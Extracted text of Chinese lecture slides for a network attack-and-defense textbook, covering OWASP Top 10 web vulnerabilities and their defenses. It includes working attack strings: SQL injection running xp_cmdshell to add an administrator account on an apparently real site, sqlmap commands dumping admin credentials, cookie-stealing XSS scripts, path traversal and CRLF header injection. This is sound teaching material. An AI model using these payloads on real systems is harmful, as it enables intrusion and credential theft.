版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
本PPT是機(jī)械工業(yè)出版社出版的教材《網(wǎng)絡(luò)攻防原理與技術(shù)(第3版)》配套教學(xué)PPT(部分內(nèi)容的深度和廣度比教材有所擴(kuò)展),作者:吳禮發(fā),洪征,李華波本PPT可能會直接或間接采用了網(wǎng)上資源或公開學(xué)術(shù)報告中的部分PPT頁面、圖片、文字,引用時我們力求在該P(yáng)PT的備注欄或標(biāo)題欄中注明出處,如果有疏漏之處,敬請諒解。同時對被引用資源或報告的作者表示誠摯的謝意!本PPT可免費使用、修改,使用時請保留此頁。聲明第十一章Web網(wǎng)站攻擊技術(shù)1Web應(yīng)用體系結(jié)構(gòu)脆弱性分析常見Web應(yīng)用攻擊及防范內(nèi)容提綱2Web應(yīng)用防火墻WAF3Web應(yīng)用程序體系結(jié)構(gòu)Web客戶端Web服務(wù)器Web應(yīng)用程序Web應(yīng)用程序Web應(yīng)用程序傳輸層
數(shù)據(jù)庫
連接器
數(shù)據(jù)庫
連接器
IE,Chrome,Firefox,etc.HTTP/HTTPS請求明文或SSLHTTP響應(yīng)(HTML,JavaScript,etc.)
ApacheIISetc.
PerlC++CGIJavaASPPHPetc.
ADOODBCJDBCetc.
OracleSQLServeretc.Web應(yīng)用體系結(jié)構(gòu)潛在弱點Web客戶端活動內(nèi)容執(zhí)行,客戶端軟件漏洞的利用,交互站點腳本的錯誤傳輸偷聽客戶-服務(wù)器通信,SSL重定向Web服務(wù)器Web服務(wù)器軟件漏洞;Web應(yīng)用體系結(jié)構(gòu)潛在弱點Web應(yīng)用程序攻擊授權(quán)、認(rèn)證、站點結(jié)構(gòu)、輸入驗證,以及應(yīng)用程序邏輯數(shù)據(jù)庫通過數(shù)據(jù)庫查詢運行優(yōu)先權(quán)命令,查詢操縱返回額外的數(shù)據(jù)集。Web應(yīng)用程序功能與安全隱患的對應(yīng)關(guān)系Web應(yīng)用安全HTTP協(xié)議是一種簡單的、無狀態(tài)的應(yīng)用層協(xié)議(RFC1945、RFC2616)無狀態(tài)使攻擊變得容易基于ASCII碼,無需弄清復(fù)雜的二進(jìn)制編碼機(jī)制,攻擊者就可了解協(xié)議中的明文信息互聯(lián)網(wǎng)中存在的大量中間盒子,HTTP標(biāo)準(zhǔn)(RFC2616和RFC7320)的理解如果不一致,就有可能導(dǎo)致一些新的攻擊發(fā)生HTTP協(xié)議安全問題HTTP會話經(jīng)常被劫持HTTP協(xié)議安全問題HTTP會話頭泄露隱私信息HTTP協(xié)議安全問題中間盒子帶來的HTTP安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題HTTP協(xié)議安全問題為什么需要Cookie?解決無狀態(tài)問題:保存客戶服務(wù)器之間的一些狀態(tài)信息Cookie是指網(wǎng)站為了辨別用戶身份、進(jìn)行會話跟蹤而儲存在用戶本地終端上的一些數(shù)據(jù)(通常經(jīng)過編碼),最早由網(wǎng)景公司的LouMontulli在1993年3月發(fā)明的,后被采納為RFC標(biāo)準(zhǔn)(RFC2109、RFC2965)Cookie的安全問題Cookie的生成與維護(hù)由服務(wù)器端生成,發(fā)送給客戶端(一般是瀏覽器),瀏覽器會將Cookie的值保存到某個目錄下的文本文件內(nèi),下次請求同一網(wǎng)站時就發(fā)送該Cookie給服務(wù)器(前提是瀏覽器設(shè)置為啟用Cookie)服務(wù)器可以利用Cookie存儲信息并經(jīng)常性地維護(hù)這些信息,從而判斷在HTTP傳輸中的狀態(tài)Cookie安全問題Cookie的生成與維護(hù)Cookie在生成時就會被指定一個Expire值,這就是Cookie的生存周期。到期自動清除如果一臺計算機(jī)上安裝了多個瀏覽器,每個瀏覽器都會在各自獨立的空間存放CookieCookie中的內(nèi)容大多數(shù)經(jīng)過了編碼處理Cookie安全問題Cookie的一般格式如下:NAME=VALUE;expires=DATE;path=PATH;domain=DOMAIN_NAME;secure示例autolog=bWlrzTpteXMxy3IzdA%3D%3D;expires=Sat,01-Jan-201800:00:00GMT;path=/;domain=Cookie安全問題Cookie中包含了一些敏感信息,如用戶名、計算機(jī)名、使用的瀏覽器和曾經(jīng)訪問的網(wǎng)站等,攻擊者可以利用它來進(jìn)行竊密和欺騙攻擊Cookie安全問題1Web應(yīng)用體系結(jié)構(gòu)脆弱性分析常見Web應(yīng)用攻擊及防范內(nèi)容提綱2Web應(yīng)用防火墻WAF3OWASP十大安全漏洞變遷史OWASPOWASP:OpenWebApplicationSecurityProject,一個全志愿者組成的、非營利性機(jī)構(gòu)開發(fā)和出版免費專業(yè)開源的文檔、工具和標(biāo)準(zhǔn),如:
“TheTenMostCriticalWebApplicationSecurityVulnerabilities”,《AGuidetoBuildingSecureWebApplications》,
WebGoat,WebScarab,各種Web代碼測試工具等OWASPOWASP:OpenWebApplicationSecurityProject,,致力于幫助組織機(jī)構(gòu)理解和提高他們的Web安全組織各種Web安全會議2007VS.2004(1/2)OWASPTop102007OWASPTop102004A1.CrossSiteScripting(XSS)A4.CrossSiteScripting(XSS)A2.InjectionFlawsA6.InjectionFlawsA3.MaliciousFileExecution(NEW)A4.InsecureDirectObjectReferenceA2.BrokenAccessControl
(Splitin2007T10)A5.CrossSiteRequestForgery(CSRF)(NEW)A6.InformationLeakageandImproperErrorHandlingA7.ImproperErrorHandlingA7.BrokenAuthenticationandSessionManagementA3.BrokenAuthenticationandSessionManagement2007VS.2004(2/2)OWASPTop102007OWASPTop102004A8.InsecureCryptographicStorageA8.InsecureStorageA9.InsecureCommunications(NEW)A10.FailuretoRestrictURLAccessA2.BrokenAccessControl(splitin2007T10)<removedin2007>A1.Un-validatedInput<removedin2007>A5.BufferOverflows<removedin2007>A9.DenialofService<removedin2007>A10.InsecureConfigurationManagement十大安全漏洞-OWASP2007A1.Injection:注入漏洞;A2.BrokenAuthenticationandSessionManagement:失效的身份認(rèn)證和會話管理;A3.Cross-SiteScripting(XSS):跨站腳本;A4.InsecureDirectObjectReferences:不安全的直接對象引用;A5.SecurityMisconfiguration:安全配置錯誤;OWASP2013A6.SensitiveDataExposure:敏感數(shù)據(jù)暴露;A7.MissingFunctionLevelAccessControl:功能級別訪問控制缺失;A8.Cross-SiteRequestForgery(CSRF):跨站請求偽造;A9.UsingKnowVulnerableComponents:使用已知易受攻擊的組件;A10.UnvalidatedRedirectsandForwards未驗證的重定向和轉(zhuǎn)發(fā)OWASP2013OWASP2017OWASP2017OWASP2017OWASP2021一、SQL注入攻擊及防范注入漏洞
Injectionflaws,particularlySQLinjection,arecommoninwebapplications.Injectionoccurswhenuser-supplieddataissenttoaninterpreteraspartofacommandorquery.Theattacker’shostiledatatrickstheinterpreterintoexecutingunintendedcommandsorchangingdata.OWASPDefinition
注入漏洞最普遍的注入漏洞包括:SQL注入:通過SQL語句惡意地調(diào)用后臺數(shù)據(jù)庫系統(tǒng)調(diào)用通過shell命令調(diào)用外部程序任何依賴于解釋執(zhí)行的Web應(yīng)用都有被注入漏洞攻擊的危險!SQL注入原理例子:通過用戶提供的參數(shù)來查詢表中的數(shù)據(jù)"SELECT*FROMUSERSWHERESSN=‘"+ssn+"’“SSN參數(shù)來自于用戶的輸入:參數(shù)未經(jīng)驗證或編碼黑客輸入:1234’OR‘1’=‘1應(yīng)用程序構(gòu)造查詢語句:SELECT*FROMUSERSWHERESSN=‘1234’OR‘1’=‘1’結(jié)果返回數(shù)據(jù)庫中的每一個用戶
永真邏輯!
SQL注入攻擊流程FirewallHardenedOSWebServerAppServerFirewallDatabasesLegacySystemsWebServicesDirectoriesHumanResrcsBillingCustomCodeAPPLICATION
ATTACKNetworkLayerApplicationLayerAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.FunctionsHTTPrequest
SQLquery
DBTable
HTTPresponse
“SELECT*FROMaccountsWHEREacct=‘’OR1=1--’”1.Web程序提供了用戶輸入的表單;2.攻擊者通過填寫表單數(shù)據(jù)發(fā)起攻擊;3.Web程序通過SQL語句的形式將攻擊遞交給數(shù)據(jù)庫;AccountSummaryAcct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-02934.數(shù)據(jù)庫執(zhí)行SQL語句,將執(zhí)行結(jié)果加密后返回給應(yīng)用程序;5.應(yīng)用程序解密數(shù)據(jù),將結(jié)果發(fā)送給用戶(攻擊者)。Account:
SKU:
‘OR1=1--SQL注入示例SQL注入字符串口令可以填寫任意值查詢到的用戶資料靶網(wǎng)網(wǎng)址為54/asd/wyqy/SQL注入:案例在URL鏈接中加入”and1=1”后的返回結(jié)果SQL注入:案例判斷注入權(quán)限是否是sysadmin,注入語句為and1=(selectis_srvrolemember('sysadmin'))SQL注入:案例下面的URL中包含的SQL語句用來增加一個名為test用戶(口令也為test)。返回結(jié)果如圖10-6所示。54/asd/wyqy/shownews.asp?id=51;execmaster..xp_cmdshell'netusertesttest/add'--SQL注入:案例下面,將增加的test用戶加入到管理員組。URL鏈接為54/asd/wyqy/shownews.asp?id=51;execmaster..xp_cmdshell'netlocalgroupadministratorstest/add'--,返回結(jié)果如圖10-7所示。從圖中可以看出,頁面正常返回,說明添加成功。SQL注入:案例一般來說,只要是帶有參數(shù)的動態(tài)網(wǎng)頁且此網(wǎng)頁訪問了數(shù)據(jù)庫,那么該頁面就有可能存在SQL注入漏洞。如果程序員安全意識不強(qiáng),沒有過濾輸入的一些特殊字符,則存在SQL注入的可能性就非常大。在探測過程中,需要分析服務(wù)器返回的詳細(xì)錯誤信息。而在默認(rèn)情況下,瀏覽器僅顯示“HTTP500服務(wù)器錯誤”,并不顯示詳細(xì)的錯誤信息。為此,需要調(diào)整IE瀏覽器的配置,即把IE菜單【工具】中【Internet選項】下的高級選項中的【顯示友好HTTP錯誤信息】前面的勾去掉。SQL注入:檢測在形如http://xxx.xxx.xxx/abc.asp?id=XX的帶有參數(shù)的ASP動態(tài)網(wǎng)頁中,XX為參數(shù)。參數(shù)的個數(shù)和類型取決于具體的應(yīng)用。參數(shù)的類型可以是整型或者字符串型。下面我們以http://xxx.xxx.xxx/abc.asp?id=YY為例進(jìn)行分析1、整型參數(shù)時的SQL注入漏洞探測2、字符串型參數(shù)時的SQL注入漏洞探測3、特殊情況的處理SQL注入:檢測Sqlmap1.檢測注入點是否可用:sqlmap.py-u2/nanfang/ProductShow.asp?ID=56Sqlmap2.列出數(shù)據(jù)庫表:sqlmap.py-u"2/nanfang/ProductShow.asp?ID=56"–tablesSqlmap3.列出指定表中的字段:sqlmap.py-u"2/nanfang/ProductShow.asp?ID=56"-Tadmin–columnsSqlmap4.列出表記錄:sqlmap.py-u"2/nanfang/ProductShow.asp?ID=56"-Tadmin-C"id,data,username,password"–dumpSqlmap5.驗證結(jié)果:從圖10-12所示的結(jié)果可以發(fā)現(xiàn)其中的一個用戶信息為:
id:1
username:admin
password:3acdbb255b45d296通過md5反查(/),得到該password散列的原文密碼為”0791idc”。拿到管理員賬號密碼直接成功登錄網(wǎng)站后臺Sqlmap防御注入漏洞使用特定語言的庫函數(shù)來代替shell命令和系統(tǒng)調(diào)用;對用戶輸入的信息進(jìn)行嚴(yán)格檢查和過濾:數(shù)據(jù)類型(字符串、整數(shù)等)正確嗎?使用的是允許的字符集嗎?輸入滿足格式要求嗎?……使用“最小權(quán)限”限制數(shù)據(jù)庫用戶的權(quán)限二、跨站腳本攻擊及防范(一)跨站腳本(XSS)漏洞Cross-SiteScripting(XSS)flawsoccurwheneveranapplicationtakesusersupplieddataandsendsittoawebbrowserwithoutfirstvalidatingorencodingthatcontent.XSSallowsattackerstoexecutescriptinthevictim'sbrowserwhichcanhijackusersessions,defacewebsites,possiblyintroduceworms,etc.OWASPDefinition
跨站腳本攻擊工作原理:輸入插入包含有JavaScript或其它惡意腳本的HTML標(biāo)簽代碼。問題根源:不當(dāng)?shù)姆?wù)器端輸入檢查,從而允許用戶輸入可被客戶端瀏覽器解釋的腳本命令。XSS是最普遍的Web程序安全問題。嵌入JavaScript腳本的例子:<script>window.open(/info.pl?document.cookie</script>XSS攻擊的原理帶有XSS漏洞的Web程序攻擊者將惡意腳本輸入到服務(wù)器上的Web頁面攻擊者設(shè)置陷阱12受害者瀏覽頁面3腳本將受害者的Session、Cookie發(fā)送給攻擊者運行于受害者瀏覽器的腳本可以完全訪問DOM和cookiesCustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.FunctionsXSS漏洞探測示例“Search”框內(nèi)的文本信息常會反饋回用戶頁面<script>alert(document.cookie)</script>
腳本執(zhí)行并將Session信息通過對話框顯示出來攻擊測試腳本儲存式跨站腳本攻擊,也稱為持久性跨站腳本攻擊。如果Web程序允許存儲用戶數(shù)據(jù),并且存儲的輸入數(shù)據(jù)沒有經(jīng)過正確的過濾,就有可能發(fā)生這類攻擊。在這種攻擊模式下,攻擊者并不需要利用一個惡意鏈接,只要用戶訪問了儲存式跨站腳本網(wǎng)頁,那么惡意數(shù)據(jù)就將顯示為網(wǎng)站的一部分并以受害者身份執(zhí)行。儲存式XSS儲存式XSS儲存式XSS儲存式<script>window.location="/steal.cgi?ck="+document.cookie;</script>~留言版~<script>window.location="/steal.cgi?ck="+document.cookie;</script>也稱為非持久性跨站腳本攻擊,是一種最常見的跨站腳本攻擊類型。與本地腳本漏洞不同的是Web客戶端使用Server端腳本生成頁面為用戶提供數(shù)據(jù)時,如果未經(jīng)驗證的用戶數(shù)據(jù)被包含在頁面中而未經(jīng)HTML實體編碼,客戶端代碼便能夠注入到動態(tài)頁面中。在這種攻擊模式下,Web程序不會存儲惡意腳本,它會將未經(jīng)驗證的數(shù)據(jù)通過請求發(fā)送給客戶端,攻擊者就可以構(gòu)造惡意的URL鏈接或表單并誘騙用戶訪問,最終達(dá)到利用受害者身份執(zhí)行惡意代碼的目的。反射式XSS(1)Alice經(jīng)常瀏覽Bob建立的網(wǎng)站。Bob的站點運行Alice使用用戶名/密碼進(jìn)行登錄,并存儲敏感信息(比如銀行帳戶信息);(2)Charly發(fā)現(xiàn)Bob的站點包含反射性的XSS漏洞;(3)Charly編寫一個利用漏洞的URL,并將其冒充為來自Bob的郵件發(fā)送給Alice;(4)Alice在登錄到Bob的站點后,瀏覽Charly提供的URL;(5)嵌入到URL中的惡意腳本在Alice的瀏覽器中執(zhí)行,就像它直接來自Bob的服務(wù)器一樣。此腳本盜竊敏感信息(授權(quán)、信用卡、帳號信息等),然后在Alice完全不知情的情況下將這些信息發(fā)送到Charly的Web站點。反射式XSS反射式XSSloginsb.asp直接向用戶顯示msg參數(shù),這樣只要簡單構(gòu)造一個惡意的url就可以觸發(fā)一次XSS。反射式XSSDOM式XSS如果構(gòu)造數(shù)據(jù)“‘onclick=’javascript:alert(/xss/)”,那么最后添加的html代碼就變成了“<ahref=’‘onclick=’javascript:alert(/xss/)’>test</a>”,插入一個onclick事件,點擊提交按鍵,那么就會發(fā)生一次DOM式xss攻擊。DOM式XSS防御XSS攻擊對Web應(yīng)用程序的所有輸入進(jìn)行過濾,對危險的HTML字符進(jìn)行編碼:‘<’,‘>’
‘<’,‘>’‘(‘,‘)’
‘(’,‘)’‘#‘,‘&’
‘#’,‘&‘對用戶進(jìn)行培訓(xùn),告知小心使用電子郵件消息或即時消息中的鏈接;防止訪問已知的惡意網(wǎng)站;執(zhí)行手工或自動化代碼掃描,確定并消除潛在的XSS漏洞。三、Cookie欺騙及防范偽造Cookie信息,繞過網(wǎng)站的驗證過程,不需要輸入密碼,就可以登錄網(wǎng)站,甚至進(jìn)入網(wǎng)站管理后臺偽造Cookie信息網(wǎng)站登錄驗證代碼偽造Cookie信息利用request.Cookies語句分別獲取Cookies中的用戶名、口令和randomid的值。如果用戶名或口令為空或randomid值不等于12就跳轉(zhuǎn)到登錄界面。也就是說,程序是通過驗證用戶的Cookie信息來確認(rèn)用戶是否已登錄。然而,Cookie信息是可以在本地修改的,只要改后的Cookie信息符合驗證條件(用戶名和口令不空且randomid值等于12),就可進(jìn)入管理后臺界面判斷是否有刪帖權(quán)限的代碼偽造Cookie信息只要Cookie中的power值不小于500,任意用戶都可以刪除任意帖子。同樣可以利用上面介紹的方法進(jìn)行Cookie欺騙攻擊面上面介紹的兩個攻擊例子之所以成功,是因為在Cookie中保存了用戶名、口令以及權(quán)限信息而留下了安全隱患。安全原則:一般情況下,網(wǎng)站會話管理機(jī)制僅將會話ID保存至Cookie,而將數(shù)據(jù)本身保存在Web服務(wù)器的內(nèi)存或文件、數(shù)據(jù)庫中偽造Cookie信息如果Cookie中沒有設(shè)置安全屬性secure”,則Cookie內(nèi)容在網(wǎng)絡(luò)中用明文傳輸,攻擊者監(jiān)聽到Cookie內(nèi)容后可以輕松實現(xiàn)會話劫持為什么會不設(shè)置安全屬性監(jiān)聽Cookie來實現(xiàn)會話劫持四、CSRF攻擊及防范跨站請求仿冒ACSRF(CrossSiteRequestForgery)attackforcesalogged-onvictim’sbrowsertosendapre-authenticatedrequesttoavulnerablewebapplication,whichthenforcesthevictim’sbrowsertoperformahostileactiontothebenefitoftheattacker.OWASPDefinition
CSRF用戶C網(wǎng)站A:存在CSRF漏洞的網(wǎng)站網(wǎng)站B:惡意攻擊者用戶C:受害者網(wǎng)站A(受信任)網(wǎng)站B(惡意)6.由于瀏覽器會帶上用戶C的cookie,網(wǎng)站A不知道步驟5的請求是B發(fā)出的,因此網(wǎng)站A會根據(jù)用戶C的權(quán)限處理步驟5的的請求,這樣就達(dá)到了偽造用戶C請求的目的1.用戶C瀏覽并登錄正常網(wǎng)站A2.驗證通過,瀏覽器生成網(wǎng)站A的cookie3.用戶C在沒有登錄退出網(wǎng)站A的情況下,訪問惡意網(wǎng)站B4.網(wǎng)站B要求訪問第三方網(wǎng)站A5.根據(jù)B在步驟4的要求,瀏覽器帶著步驟2處產(chǎn)生的cookie訪問網(wǎng)站A現(xiàn)在絕大多數(shù)網(wǎng)站都不會使用GET請求來進(jìn)行數(shù)據(jù)更新,而是采用POST來提交,即使這樣,攻擊者仍然能夠?qū)嵤〤SRF攻擊CSRF防御CSRF攻擊現(xiàn)有銀行的網(wǎng)銀交易流程要比例子復(fù)雜得多,同時還需要USBkey、驗證碼、登錄密碼和支付密碼等一系列安全信息,一般并不存在CSRF安全漏洞,安全是有保障的。CSRF與XSS重大的差別:CSRF利用的是Web服務(wù)器端的漏洞XSS利用的是Web客戶端的漏洞XSS攻擊是實施CSRF攻擊前的一個重要步驟:攻擊者通過XSS攻擊獲取有用的攻擊信息,比如通過XSS偽造一個提示用戶輸入身份信息的表單。防御CSRF攻擊設(shè)定短暫的可信用戶會話時間,完成任務(wù)后記得退出可信會話,刪除所有cookie;每次提出一個可信行為時,對發(fā)出請求的用戶進(jìn)行驗證;讓網(wǎng)站記住登錄用戶名和密碼時要小心。留在客戶端的登錄信息可能會攻擊者加以利用;在URL和表單中增加的每個請求,必須提供基本會話令牌以外的每個請求用戶驗證;從Web應(yīng)用程序中刪除所有XSS漏洞。防御CSRF攻擊五、目錄遍歷及其防范許多Web應(yīng)用支持外界以參數(shù)的形式來指定服務(wù)器上的文件名,如果服務(wù)器在處理用戶請求時不對文件名進(jìn)行充分校驗,就可能出問題,如:文件被非法獲取,導(dǎo)致重要信息被泄露;文件被篡改,如篡改網(wǎng)頁內(nèi)容以發(fā)布不實消息,設(shè)置圈套將用戶誘導(dǎo)至惡意網(wǎng)站,篡改腳本文件從而在服務(wù)器上執(zhí)行任意腳本等;文件被刪除,如刪除腳本文件或配置文件導(dǎo)致服務(wù)器宕機(jī)等目錄遍歷一般來說,如果Web應(yīng)用滿足以下3個條件時,就有可能產(chǎn)生目錄遍歷漏洞外界能夠指定文件名能夠使用絕對路徑或相對路徑等形式來指定其它目錄的文件名沒有對拼接后的文件名進(jìn)行校驗就允許訪問該文件目錄遍歷目錄遍歷/example/ex.php?template=../../../../etc/hosts%00將顯示/etc/hosts文件內(nèi)容目錄遍歷/online/getnews.asp?item=20March2007.html/online/getnews.asp?item=../../../../windows/win.ini提交申請獲取某個新聞網(wǎng)頁文件
使用../從當(dāng)前目錄跳到上一級目錄
目錄遍歷成功將讀取到windows目錄下的win.ini文件
避免由外界指定文件名將文件名固定,保存在會話變量中,不直接指定文件名,而是使用編號等方法間接指定文件名中不允許包含目錄名不同系統(tǒng)中表示目錄的字符有所不同,常見的有:/、\、:等限定文件中僅包含字母或數(shù)字有些攻擊使用不同的編碼轉(zhuǎn)換進(jìn)行過濾性的繞過,如通過對參數(shù)進(jìn)行URL編碼來繞過檢查目錄遍歷防御downfile.jsp?filename=%66%61%6E%2E%70%64%66六、操作系統(tǒng)命令注入及防范很多Web應(yīng)用編程語言支持應(yīng)用通過Shell執(zhí)行操作系統(tǒng)(OS)命令。通過Shell執(zhí)行OS命令,或開發(fā)中用到的某個方法在其內(nèi)部使用了Shell,就有可能出現(xiàn)惡意利用Shell提供的功能來任意執(zhí)行OS命令的情況,這就是OS命令注入OS命令注入OS命令注入上述攻擊成功的主要原因是Shell支持連續(xù)執(zhí)行多條命令,如Unix操作系統(tǒng)Shell中使用分號(;)或管道(|)等字符支持連續(xù)執(zhí)行多條命令,Windows操作系統(tǒng)cmd.exe使用&符號來連接多條命令。這些符號一般稱為Shell的元字符,如果OS命令參數(shù)中混入了元字符,就會使攻擊者添加的操作系統(tǒng)命令被執(zhí)行,這就是OS注入漏洞產(chǎn)生的原因OS命令注入OS命令注入攻擊的一般流程為:從外部下載攻擊用軟件;對下載來的軟件授予執(zhí)行權(quán)限;從內(nèi)部攻擊操作系統(tǒng)漏洞以取得管理員權(quán)限;攻擊者在Web服務(wù)器上執(zhí)行攻擊操作,如:瀏覽、篡改或刪除Web服務(wù)器內(nèi)的文件,對外發(fā)送郵件,以此服務(wù)器作跳板攻擊其他服務(wù)器等。OS命令注入OS命令注入攻擊防御策略:選擇不調(diào)用操作系統(tǒng)命令的實現(xiàn)方法,即不調(diào)用Shell功能,而用其它方法實現(xiàn);避免使用內(nèi)部可能會調(diào)用Shell的函數(shù);不將外部輸入的字符串作為命令行參數(shù);使用安全的函數(shù)對傳遞給操作系統(tǒng)的參數(shù)進(jìn)行轉(zhuǎn)義,消除Shell元字符帶來的威脅。由于Shell轉(zhuǎn)義規(guī)則的復(fù)雜性以及其它一些環(huán)境相關(guān)的原因,這一方法有時很難完全湊效。OS命令注入防御七、HTTP消息頭注入攻擊及防范指在重定向或生成Cookie時,基于外部傳入的參數(shù)生成HTTP響應(yīng)頭:HTTP響應(yīng)頭信息一般以文本格式逐行定義消息頭,即消息頭之間互相以換行符隔開。攻擊者可以利用這一特點,在指定重定向目標(biāo)URL或Cookie值的參數(shù)中插入換行符且該換行符又被直接作為響應(yīng)輸出,從而在受害者的瀏覽器上任意添加響應(yīng)消息頭或偽造響應(yīng)消息體:生成任意Cookie,重定向到任意URL,更改頁面顯示內(nèi)容,執(zhí)行任意JavaScript而造成與XSS同樣效果HTTP消息頭注入看下面的例子HTTP消息頭注入/web/in.cfg?url=/%0D%0ALocation:+http://trap.com/web/attack.php執(zhí)行之后,瀏覽器會跳轉(zhuǎn)到惡意網(wǎng)站/web/attack.php,而不是期望的正常網(wǎng)站。造成這一結(jié)果的主要原因是,CGI腳本里使用的查詢字符串url中包含了換行符(%0D%0A)。出兩個消息頭:
Location:Location:/web/attack.php采用類似方法可以生成任意Cookie,看下面例子HTTP消息頭注入/web/in.cfg?url=/web/exampple.php%0D%0ASet-Cookie:+SESSID=ac13rkd90執(zhí)行之后,兩個消息頭:
Set-Cookie:SESSID=ac13rkd90Location:/web/exampple.php不將外部傳入?yún)?shù)作為HTTP響應(yīng)消息頭輸出,如不直接使用URL指定重定向目標(biāo),而是將其固定或通過編號等方式來指定,或使用Web應(yīng)用開發(fā)工具中提供的會話變量來轉(zhuǎn)交URL;由專門的API來進(jìn)行重定向或生成Cookie,并嚴(yán)格檢驗生成消息頭的參數(shù)中的換行符HTTP消息頭注入防御八、其它攻擊1、惡意文件執(zhí)行Codevulnerabletoremotefileinclusion(RFI)allowsattackerstoincludehostilecodeanddata,resultingindevastatingattacks,suchastotalservercompromise.MaliciousfileexecutionattacksaffectPHP,XMLandanyframeworkwhichacceptsfilenamesorfilesfromusers.OWASPDefinition
1、惡意文件執(zhí)行惡意文件執(zhí)行漏洞也稱為不安全的遠(yuǎn)程文件包含漏洞;需要用戶提供輸入文件名的Web程序容易受到攻擊:如果對用戶輸入不驗證,攻擊者可借此操控Web程序執(zhí)行系統(tǒng)程序或外部URL;允許上傳文件給Web程序帶來的危害更大可以將可執(zhí)行代碼放置到Web應(yīng)用中去;可以替換Session文件、日志文件或認(rèn)證令牌1、防御惡意文件執(zhí)行漏洞禁止用戶輸入被用作輸入文件片斷;對于必須要用戶輸入文件名、URL的地方,執(zhí)行嚴(yán)格的檢查驗證輸入合法性;文件上傳的處理要非常小心:文件只允許上傳到webroot目錄以外的目錄中,這樣能防止文件被執(zhí)行;限制或隔離Web程序?qū)ξ募脑L問權(quán)限。2、不安全的直接對象引用Adirectobjectreferenceoccurswhenadeveloperexposesareferencetoaninternalimplementationobject,suchasafile,directory,databaserecord,orkey,asaURLorformparameter.Attackerscanmanipulatethosereferencestoaccessotherobjectswithoutauthorization.OWASPDefinition
2、不安全的直接對象引用不安全的直接對象引用漏洞也常稱為目錄遍歷漏洞;Web程序常常會暴露內(nèi)部對象,包括:文件或目錄URL數(shù)據(jù)庫口令數(shù)據(jù)庫的一些對象名稱,比如表名如果訪問控制配置不合理,攻擊者就可以不經(jīng)授權(quán)地操作這些暴露的內(nèi)部對象。2、防御不安全的直接對象引用鎖定Web目錄。使得通過網(wǎng)絡(luò)訪問Web服務(wù)器的用戶都不能訪問除專門用于存放Web內(nèi)容的目錄以外的目錄;對于每一次對象引用都要重新驗證授權(quán);禁止通過參數(shù)暴露內(nèi)部對象;建議使用間接映射的方法取代簡單的直接對象引用,比如:/application?file=1
3、信息泄露和不當(dāng)?shù)腻e誤處理
Applicationscanunintentionallyleakinformationabouttheirconfiguration,internalworkings,orviolateprivacythroughavarietyofapplicationproblems.Attackersusethisweaknesstostealsensitivedataorconductmoreseriousattacks.OWASPDefinition
3、信息泄露和不當(dāng)?shù)腻e誤處理敏感信息泄露常常細(xì)微難以察覺!常見的脆弱點:堆棧跟蹤信息SQL狀態(tài)信息登錄失敗信息授權(quán)信息4、不當(dāng)?shù)腻e誤處理示例MicrosoftOLEDBProviderforODBCDriverserror'80004005'[Microsoft][ODBCMicrosoftAccess97Driver]Can'topendatabase‘VDPROD'.java.sql.SQLException:ORA-00600:internalerrorcode,arguments:[ttcgnd-1],[0],[],[],[],atoracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:169)atoracle.jdbc.ttc7.TTIcessError(TTIoer.java:208)示例1:示例2:錯誤處理信息對于Debug非常有用,但是為攻擊者提供了太多潛在可用的攻擊信息!4、防御信息泄露每個應(yīng)用程序都應(yīng)包含一個標(biāo)準(zhǔn)的錯誤處理框架來處理異常:禁止顯示堆棧跟蹤、數(shù)據(jù)庫訪問、協(xié)議等相關(guān)的信息;Web程序應(yīng)只提供盡量簡短、“剛好夠用”的錯誤處理信息給用戶;5、認(rèn)證和會話管理不完善
Accountcredentialsandsessiontokensareoftennotproperlyprotected.Attackerscompromisepasswords,keys,orauthenticationtokenstoassumeotherusers’identities.OWASPDefinition
會話(Session)管理HTTP/HTTPS是“無狀態(tài)”協(xié)議意味著每一次用戶請求都需要認(rèn)證會話管理解決了這樣的問題:當(dāng)一個用戶得到服務(wù)器認(rèn)證后,服務(wù)器如何識別和處理這個認(rèn)證用戶接下來的請求Web程序一般會提供內(nèi)置的會話跟蹤方法,方便用戶的使用;Web開發(fā)者常采用自己的策略來實現(xiàn)會話狀態(tài)管理,可能會犯錯誤而導(dǎo)致安全問題。會話管理:SessionID唯一地標(biāo)識用戶一個ID僅用于一次認(rèn)證會話由服務(wù)器生成以如下的形式發(fā)送給客戶端:隱式變量HTTPcookieURL查詢串服務(wù)器期待用戶在下一次請求時發(fā)送同樣的ID(用來標(biāo)識用戶已被認(rèn)證)會話管理:SessionHijackingSessionID可能被泄露和猜解,黑客可以:獲取用戶的帳號做任何受害者能做的事情:一個使用同樣SessionID的攻擊者將擁有和真正用戶相同的特權(quán)。認(rèn)證和會話管理攻擊流程CustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.Functions1用戶發(fā)送認(rèn)證信息2站點進(jìn)行URL重寫(i.e.,把session放到URL中)3用戶在一個論壇中點擊了
這個鏈接?JSESSIONID=9FA1DB9EA...4黑客在
的日志文件中得到用戶的JSESSIONID值5黑客使用JSESSIONID獲取到受害者的帳號5、防御會話管理攻擊使用長且復(fù)雜的隨機(jī)SessionID,難以猜解;對SessionID的傳輸、存儲進(jìn)行保護(hù),防止被泄露和劫持;使用SSL時,必須保護(hù)認(rèn)證和SessionID兩部分的內(nèi)容;URL查詢字符串中不要包含有User/Session任何信息。6、不安全的加密存儲
Webapplicationsrarelyusecryptographicfunctionsproperlytoprotectdataandcredentials.Attackersuseweaklyprotecteddatatoconductidentitytheftandothercrimes,suchascreditcardfraud.OWASPDefinition
